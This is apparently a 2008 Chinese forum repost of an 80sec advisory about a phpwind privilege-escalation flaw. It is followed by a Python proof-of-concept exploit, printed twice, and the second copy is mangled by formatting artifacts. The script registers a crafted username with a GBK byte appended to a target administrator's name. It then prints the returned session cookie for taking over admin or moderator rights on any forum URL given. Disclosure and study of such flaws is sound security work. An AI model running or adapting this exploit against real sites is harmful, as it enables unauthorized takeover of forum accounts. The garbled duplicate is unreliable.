漏洞发布:
http://www.80sec.com/
漏洞作者:
jianxin@80sec.com
漏洞厂商:
http://www.phpwind.com/ 本漏洞影响phpwind所有版本
漏洞危害:高
漏洞说明:phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作
利用方式:
http://www.80sec.com有提供exploit
漏洞分析:由于phpwind论坛在设计上对数据库存储机制不了解,导致在程序逻辑上判断有问题,用精心构造的数据注册用户即可获得管理权限
漏洞修补:建议关闭注册功能等待官方出补丁
漏洞状态:
08.5.25发现此漏洞
08.6.1由80sec.com公开此漏洞
暂无补丁
原始地址:
http://www.80sec.com/release/phpwind-exploit.txt
漏洞测试:
复制内容到剪贴板
代码:
# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
def banner():
print ""
print "########################################################"
print "hpwind所有版本管理权限泄露漏洞利用poc"
print "Copyright (C) 2006"
print "jianxin@80sec.com"
print "80sec是一个新的致力于web安全的小团体"
print "http://www.80sec.com"
def usage():
banner()
print "Usage:\n"
print " $ ./phpwind.py pwforumurl usertoattack\n"
print " pwforumurl 目标论坛地址如http://www.80sec.com/"
print " usertoattack 目标拥有权限的斑竹或管理员"
print " 攻击结果将会在目标论坛注册一个和目标用户一样的帐户"
print " 最新版本可以使用uid登陆"
print " 其他版本可以使用cookie+useragent登陆"
print "########################################################"
print ""
argvs=sys.argv
usage()
data = "regname=%s%s1®pwd=@80sec®pwdrepeat=@80sec®email=foo@foo.com®emailtoall=1&step=2" % (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]
request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
if cookie.index('winduser'):
print "Exploit Success!"
print "Login with uid password @80sec or Cookie:"
print cookie
print "User-agent: 80sec owned this"
except:
print "Error! http://www.80sec.com"
print "Connect root#80sec.com"附利用程序Python代码:
# -*- coding: gb2312 -*- - import
urllib2,httplib,sys - httplib.HTTPConnection.debuglevel = 1
- cookies = urllib2.HTTPCookieProcessor()
- opener = urllib2.build_opener(cookies)
- def
banner():
print
""
print
"########################################################"
print
"Phpwind所有版本管理权限泄露漏洞利用poc"
print
"Copyright (C) 2006"
print
"jianxin@80sec.com"
print
"80sec是一个新的致力于web安全的小团体"
print
"http://www.80sec.com"- def
usage():
banner()
print
"Usage:\n"
print
" $ ./phpwind.py pwforumurl usertoattack\n"
print
" pwforumurl 目标论坛地址如http://www.80sec.com/"
print
" usertoattack 目标拥有权限的斑竹或管理员"
print
" 攻击结果将会在目标论坛注册一个和目标用户一样的帐户"
print
" 最新版本可以使用uid登陆"
print
" 其他版本可以使用cookie+useragent登陆"
print
"########################################################"
print
""- argvs=sys.argv
- usage()
- data = "regname=%s%s1®pwd=@80sec®pwdrepeat=@80sec®email=foo@foo.com®emailtoall=1&step=2" % (argvs[2],"%c1")
- pwurl = "%s/register.php" % argvs[1]
- request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)- f=opener.open(request)
- headers=f.headers.dict
- cookie=headers["set-cookie"]
- try:
if
cookie.index('winduser'):
print
"Exploit Success!"
print
"Login with uid password @80sec or Cookie:"
print
cookie
print
"User-agent: 80sec owned this"- except:
print
"Error! http://www.80sec.com"
print
"Connect root#80sec.com"
[
本帖最后由 oaf 于 2008-6-1 20:36 编辑 ]